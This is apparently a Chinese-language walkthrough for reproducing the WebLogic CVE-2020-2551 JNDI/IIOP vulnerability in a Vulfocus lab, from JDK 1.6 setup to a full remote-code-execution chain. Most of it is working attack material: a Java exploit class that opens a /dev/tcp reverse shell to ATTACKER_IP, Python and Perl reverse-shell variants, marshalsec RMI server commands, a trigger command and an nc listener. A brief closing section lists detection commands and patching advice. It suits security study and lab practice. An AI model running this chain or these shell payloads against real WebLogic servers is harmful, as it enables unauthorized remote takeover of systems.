WebLogic CVE-2020-2551漏洞复现实战指南:从环境搭建到反弹Shell的全流程解析
当我在第一次尝试复现WebLogic CVE-2020-2551漏洞时,整整两天时间都卡在JDK版本兼容问题上。看着各种工具报错却找不到原因,这种挫败感让我深刻理解到——漏洞复现从来不是简单的"复制粘贴命令",而是一场与开发环境斗智斗勇的持久战。
1. 环境准备:避开JDK版本的地雷阵
1.1 操作系统适配的JDK1.6安装方案
JDK1.6这个"上古版本"是复现该漏洞的最大障碍。不同操作系统下的安装方式各有玄机:
Windows系统方案:
- 从Oracle存档库下载jdk-6u45-windows-x64.exe
- 安装后需手动设置环境变量:
setx JAVA_HOME "C:\Program Files\Java\jdk1.6.0_45" setx PATH "%PATH%;%JAVA_HOME%\bin"Mac系统特殊处理:
- 使用Homebrew安装旧版:
brew tap homebrew/cask-versions brew install --cask java6- 需要额外授权才能运行(系统偏好设置→安全性与隐私)
Linux便捷方案:
wget https://archive.org/download/jdk-6u45-linux-x64/jdk-6u45-linux-x64.bin chmod +x jdk-6u45-linux-x64.bin ./jdk-6u45-linux-x64.bin sudo mv jdk1.6.0_45 /usr/lib/jvm/ update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1验证安装成功的黄金命令:
java -version应该显示"1.6.0_45",而不是任何更高版本
1.2 靶场环境快速部署
Vulfocus靶场的WebLogic镜像已经预配置了漏洞环境,但有两个隐藏陷阱:
- 默认监听端口可能不是常见的7001
- 内置的netcat版本通常不支持-e参数
启动命令建议:
docker run -d -p 8001:8001 vulfocus/weblogic-cve_2020_25512. 工具链的生死抉择:marshalsec还是JNDI-Injection-Exploit
2.1 marshalsec的编译陷阱
原始文档建议使用marshalsec-0.0.3-SNAPSHOT-all.jar,但实际编译时会遇到这些坑:
- 编译环境冲突:必须在JDK8下编译,但生成的payload要在JDK6运行
- Maven依赖问题解决方案:
mvn clean package -DskipTests -Dmaven.compiler.source=1.8 -Dmaven.compiler.target=1.82.2 JNDI-Injection-Exploit为何失败
| 工具 | 兼容JDK | 问题根源 |
|---|---|---|
| marshalsec | 1.6+ | 需要二次编译 |
| JNDI-Injection-Exploit | 1.7+ | 底层API变更 |
| 手工编写EXP | 任意版本 | 灵活性最高 |
我在测试中发现,即使使用JNDI-Injection-Exploit的1.0-SNAPSHOT版本,其生成的字节码仍然包含JDK7特有的指令集,这会导致在WebLogic的JDK6环境中直接崩溃。
3. EXP编写实战:绕过netcat版本限制
3.1 基础EXP模板
// exp_jndi.java import java.io.IOException; public class exp_jndi { static { try { Runtime.getRuntime().exec(new String[]{ "/bin/bash", "-c", "exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done" }); } catch (IOException e) { e.printStackTrace(); } } }编译时必须指定精确版本:
javac -source 1.6 -target 1.6 exp_jndi.java3.2 针对老旧netcat的替代方案
Vulfocus环境中的netcat通常缺少-e参数支持,这些替代方案更可靠:
- Python反向Shell:
Runtime.getRuntime().exec(new String[]{ "/usr/bin/python", "-c", "import socket,subprocess,os;" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" + "s.connect((\"ATTACKER_IP\",4444));" + "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);" + "p=subprocess.call([\"/bin/sh\",\"-i\"]);" });- Perl单行命令:
Runtime.getRuntime().exec(new String[]{ "/usr/bin/perl", "-e", "use Socket;$i=\"ATTACKER_IP\";$p=4444;" + "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" + "if(connect(S,sockaddr_in($p,inet_aton($i)))){" + "open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");" + "exec(\"/bin/sh -i\");};" });4. 完整攻击链组装
4.1 分步执行流程
- 启动HTTP服务(托管编译好的class文件):
python3 -m http.server 8080- 开启RMI转发:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ "http://YOUR_IP:8080/#exp_jndi" 1099- 触发漏洞:
java -jar weblogic20202551.jar TARGET_IP TARGET_PORT \ rmi://YOUR_IP:1099/exp_jndi- 监听反弹Shell:
nc -lvnp 44444.2 排错检查清单
当攻击不成功时,按这个顺序检查:
- [ ] JDK版本是否完全匹配(攻击端和靶场端)
- [ ] 防火墙是否放行相关端口(1099, 4444, 8080)
- [ ] EXP文件是否可被靶场服务器访问
- [ ] 所有IP地址是否配置正确
- [ ] 时间戳是否在漏洞有效期内(某些WebLogic补丁会自动生效)
5. 防御视角:从攻击中学习防护
虽然我们是站在攻击角度复现漏洞,但理解防御同样重要。企业环境中可以通过以下方式检测此类攻击:
- IIOP协议监控:
tcpdump -i any -nn 'port 1050' -w iiop_traffic.pcap- 异常JNDI查询日志:
grep -i "JNDI lookup" /path/to/weblogic/logs/*.log- RMI请求分析:
netstat -tulnp | grep 1099在防御配置上,WebLogic管理员应该:
- 及时安装官方补丁
- 限制IIOP协议的访问权限
- 监控异常的Java序列化流量
漏洞复现过程中最让我意外的是,即使使用完全相同的工具和命令,在不同的网络环境下结果可能截然不同。有次因为本地防火墙的隐形拦截,浪费了三小时排查。这也印证了安全研究的铁律:环境差异是最大的变量,永远要保持怀疑精神。